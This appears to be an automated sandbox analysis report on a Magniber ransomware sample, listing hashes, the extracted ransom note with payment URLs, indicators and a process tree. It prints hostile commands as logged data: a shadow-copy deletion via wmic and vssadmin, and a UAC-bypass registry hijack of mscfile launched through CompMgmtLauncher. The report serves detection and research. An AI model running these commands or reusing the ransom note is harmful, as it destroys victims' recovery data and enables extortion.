magniber | 7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed

Resubmissions

18-08-2021 23:22

210818-8e7ftqdsax 10

22-05-2021 11:01

210522-avrsva3a7s 10

Analysis

max time kernel
122s
max time network
154s
platform
windows7_x64
resource
win7v20210408
submitted
22-05-2021 11:01

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Report Analysis Logs

General

Target

c6b6ec00_by_Libranalysis.exe
Size

22KB
MD5

c6b6ec00b64069d66c8d14d65f7cfd8f
SHA1

b90e6bf12728fa3b0984aabc32b39f1db082a1da
SHA256

7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed
SHA512

c9d7c97c63806e87804c33530f48ba950542ba28421d354cb287c9bf027ff5a853b76200e87eadd3cde0469f4b8c93f8c4bc0e71f5e4aa1cdf33e05c0673254a

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://50b03ce896784a70d4csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.nowuser.casa/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.boxgas.icu/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.bykeep.club/csnwyqmwa Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://50b03ce896784a70d4csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.nowuser.casa/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.boxgas.icu/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.bykeep.club/csnwyqmwa

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	1396	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1316	1396	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	1396	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1576	1396	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	1396	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2660	1396	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2652	1396	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	1396	vssadmin.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompleteDeny.tif => C:\Users\Admin\Pictures\CompleteDeny.tif.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\GetWrite.png => C:\Users\Admin\Pictures\GetWrite.png.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ResolveSave.tiff => C:\Users\Admin\Pictures\ResolveSave.tiff.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\SendJoin.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UseNew.tiff => C:\Users\Admin\Pictures\UseNew.tiff.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\RevokeSave.raw => C:\Users\Admin\Pictures\RevokeSave.raw.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\SearchSet.raw => C:\Users\Admin\Pictures\SearchSet.raw.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ExitTest.tif => C:\Users\Admin\Pictures\ExitTest.tif.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveSave.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\SendJoin.tiff => C:\Users\Admin\Pictures\SendJoin.tiff.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\UseNew.tiff	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

description	pid	process	target process
PID 1920 set thread context of 1124	1920	c6b6ec00_by_Libranalysis.exe	taskhost.exe
PID 1920 set thread context of 1172	1920	c6b6ec00_by_Libranalysis.exe	Dwm.exe
PID 1920 set thread context of 1252	1920	c6b6ec00_by_Libranalysis.exe	Explorer.EXE

Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

2756 vssadmin.exe
2668 vssadmin.exe
2660 vssadmin.exe
2652 vssadmin.exe

pid	process
2756	vssadmin.exe
2668	vssadmin.exe
2660	vssadmin.exe
2652	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e4500000000002000000000010660000000100002000000011fa0e6c400dba38922cd71f14098a00b0c8c0387b68fe1e1443bd778463e80d000000000e8000000002000020000000adf32010815a69779a8e4c6d13cc34db9f5e87d51619f9145c66e5a7040a80bd20000000ea350475971010e22b9da448a13e633f69fb2ad0fbda8e0842fb8195b0384fe8400000007675334ce95b5690f875f7b8d0b4d6a2d9fefe6aac3a0a2f3d0d9abf2e9f9cd22ad5ab11a851a4044ece11ec464d598811791dd1efe7bdabd5bf5607cbe71ca7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e450000000000200000000001066000000010000200000009c1a4d6a61f881ac43d56dfa9486d77b76fac9e8b1328a8d5038d7b590309956000000000e80000000020000200000004575ca9b47055ab632ca297f8a5d8f34774fcf0c25602e4afb205e9f7d4c1eef900000003755f37bd1e76b3f463bce88ecae414fd3262e68fa0f6ca4984c0ced480b8f9840d38e759bcd9f9f0a1c0320e983ac9a7244b05a2e7e34c7681b8cbaba094e8d2ab8d1ce012357d716b5a418e65bc3f03a6e0d719951fd20a984763d1b4c7e81d4fa1411dd21866c1ef798ee1d24ee27ad0448e867ccbaa6cfac9f611fd69eefb3fd5e279062d1ccf35615ae22284ea1400000002fedb0c1bec437f4183314c01b20a33ae2c19e4557cada7334d6cf612f4c8e894b0a4ada27841af2ee943b888553a0698e317bf8ec147d4579781165b8683692	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d09a34420a4fd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "327850180"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{59F34BE1-BAFD-11EB-A5E9-5E661A0063E2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies registry class 11 IoCs

Processes:

Dwm.exeExplorer.EXEtaskhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

780 notepad.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

pid process

1920 c6b6ec00_by_Libranalysis.exe
1920 c6b6ec00_by_Libranalysis.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

pid process

1920 c6b6ec00_by_Libranalysis.exe
1920 c6b6ec00_by_Libranalysis.exe
1920 c6b6ec00_by_Libranalysis.exe

pid	process
780	notepad.exe

pid	process
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe

pid	process
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1908	WMIC.exe
Token: SeSecurityPrivilege	1908	WMIC.exe
Token: SeTakeOwnershipPrivilege	1908	WMIC.exe
Token: SeLoadDriverPrivilege	1908	WMIC.exe
Token: SeSystemProfilePrivilege	1908	WMIC.exe
Token: SeSystemtimePrivilege	1908	WMIC.exe
Token: SeProfSingleProcessPrivilege	1908	WMIC.exe
Token: SeIncBasePriorityPrivilege	1908	WMIC.exe
Token: SeCreatePagefilePrivilege	1908	WMIC.exe
Token: SeBackupPrivilege	1908	WMIC.exe
Token: SeRestorePrivilege	1908	WMIC.exe
Token: SeShutdownPrivilege	1908	WMIC.exe
Token: SeDebugPrivilege	1908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1908	WMIC.exe
Token: SeRemoteShutdownPrivilege	1908	WMIC.exe
Token: SeUndockPrivilege	1908	WMIC.exe
Token: SeManageVolumePrivilege	1908	WMIC.exe
Token: 33	1908	WMIC.exe
Token: 34	1908	WMIC.exe
Token: 35	1908	WMIC.exe
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemProfilePrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeProfSingleProcessPrivilege	1676	WMIC.exe
Token: SeIncBasePriorityPrivilege	1676	WMIC.exe
Token: SeCreatePagefilePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeDebugPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeRemoteShutdownPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe
Token: 33	1676	WMIC.exe
Token: 34	1676	WMIC.exe
Token: 35	1676	WMIC.exe
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemProfilePrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeProfSingleProcessPrivilege	556	WMIC.exe
Token: SeIncBasePriorityPrivilege	556	WMIC.exe
Token: SeCreatePagefilePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeDebugPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeRemoteShutdownPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid process

1252 Explorer.EXE
1804 iexplore.exe
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
Suspicious use of SendNotifyMessage 8 IoCs

Processes:

Explorer.EXE

pid process

1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
1252 Explorer.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1804 iexplore.exe
1804 iexplore.exe
2100 IEXPLORE.EXE
2100 IEXPLORE.EXE
2100 IEXPLORE.EXE
2100 IEXPLORE.EXE

pid	process
1252	Explorer.EXE
1804	iexplore.exe
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE

pid	process
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE

pid	process
1804	iexplore.exe
1804	iexplore.exe
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

taskhost.execmd.exeDwm.exeExplorer.EXEcmd.execmd.execmd.execmd.exeiexplore.execmd.execmd.execmd.execmd.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	process	target process
PID 1124 wrote to memory of 780	1124	taskhost.exe	notepad.exe
PID 1124 wrote to memory of 780	1124	taskhost.exe	notepad.exe
PID 1124 wrote to memory of 780	1124	taskhost.exe	notepad.exe
PID 1124 wrote to memory of 1404	1124	taskhost.exe	cmd.exe
PID 1124 wrote to memory of 1404	1124	taskhost.exe	cmd.exe
PID 1124 wrote to memory of 1404	1124	taskhost.exe	cmd.exe
PID 1124 wrote to memory of 1864	1124	taskhost.exe	cmd.exe
PID 1124 wrote to memory of 1864	1124	taskhost.exe	cmd.exe
PID 1124 wrote to memory of 1864	1124	taskhost.exe	cmd.exe
PID 1864 wrote to memory of 1908	1864	cmd.exe	WMIC.exe
PID 1864 wrote to memory of 1908	1864	cmd.exe	WMIC.exe
PID 1864 wrote to memory of 1908	1864	cmd.exe	WMIC.exe
PID 1172 wrote to memory of 1540	1172	Dwm.exe	cmd.exe
PID 1172 wrote to memory of 1540	1172	Dwm.exe	cmd.exe
PID 1172 wrote to memory of 1540	1172	Dwm.exe	cmd.exe
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	cmd.exe
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	cmd.exe
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	cmd.exe
PID 1404 wrote to memory of 1804	1404	cmd.exe	iexplore.exe
PID 1404 wrote to memory of 1804	1404	cmd.exe	iexplore.exe
PID 1404 wrote to memory of 1804	1404	cmd.exe	iexplore.exe
PID 1728 wrote to memory of 1676	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 1676	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 1676	1728	cmd.exe	WMIC.exe
PID 1920 wrote to memory of 1680	1920		cmd.exe
PID 1920 wrote to memory of 1680	1920		cmd.exe
PID 1920 wrote to memory of 1680	1920		cmd.exe
PID 1680 wrote to memory of 556	1680	cmd.exe	WMIC.exe
PID 1680 wrote to memory of 556	1680	cmd.exe	WMIC.exe
PID 1680 wrote to memory of 556	1680	cmd.exe	WMIC.exe
PID 1920 wrote to memory of 284	1920		cmd.exe
PID 1920 wrote to memory of 284	1920		cmd.exe
PID 1920 wrote to memory of 284	1920		cmd.exe
PID 284 wrote to memory of 764	284	cmd.exe	WMIC.exe
PID 284 wrote to memory of 764	284	cmd.exe	WMIC.exe
PID 284 wrote to memory of 764	284	cmd.exe	WMIC.exe
PID 1804 wrote to memory of 2100	1804	iexplore.exe	IEXPLORE.EXE
PID 1804 wrote to memory of 2100	1804	iexplore.exe	IEXPLORE.EXE
PID 1804 wrote to memory of 2100	1804	iexplore.exe	IEXPLORE.EXE
PID 1804 wrote to memory of 2100	1804	iexplore.exe	IEXPLORE.EXE
PID 1576 wrote to memory of 2124	1576	cmd.exe	CompMgmtLauncher.exe
PID 1576 wrote to memory of 2124	1576	cmd.exe	CompMgmtLauncher.exe
PID 1576 wrote to memory of 2124	1576	cmd.exe	CompMgmtLauncher.exe
PID 1688 wrote to memory of 2132	1688	cmd.exe	CompMgmtLauncher.exe
PID 1688 wrote to memory of 2132	1688	cmd.exe	CompMgmtLauncher.exe
PID 1688 wrote to memory of 2132	1688	cmd.exe	CompMgmtLauncher.exe
PID 1316 wrote to memory of 2144	1316	cmd.exe	CompMgmtLauncher.exe
PID 1316 wrote to memory of 2144	1316	cmd.exe	CompMgmtLauncher.exe
PID 1316 wrote to memory of 2144	1316	cmd.exe	CompMgmtLauncher.exe
PID 1784 wrote to memory of 2184	1784	cmd.exe	CompMgmtLauncher.exe
PID 1784 wrote to memory of 2184	1784	cmd.exe	CompMgmtLauncher.exe
PID 1784 wrote to memory of 2184	1784	cmd.exe	CompMgmtLauncher.exe
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	wmic.exe
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	wmic.exe
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	wmic.exe
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	wmic.exe
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	wmic.exe
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	wmic.exe
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	wmic.exe
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	wmic.exe
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	wmic.exe
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	wmic.exe
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	wmic.exe
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	wmic.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1252

C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe
"C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1920

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
3⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:556

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
3⤵
- Suspicious use of WriteProcessMemory
PID:284

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
4⤵
PID:764

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
2⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1676

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
2⤵
PID:1540

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\system32\notepad.exe
notepad.exe C:\Users\Public\readme.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:780

C:\Windows\system32\cmd.exe
cmd /c "start http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa^&1^&47038039^&81^&363^&12"
2⤵
- Suspicious use of WriteProcessMemory
PID:1404

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa&1&47038039&81&363&12
3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1804

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1804 CREDAT:275457 /prefetch:2
4⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2100

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
2⤵
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1908

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
3⤵
PID:2400

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\system32\CompMgmtLauncher.exe
CompMgmtLauncher.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2144

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
3⤵
PID:2408

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
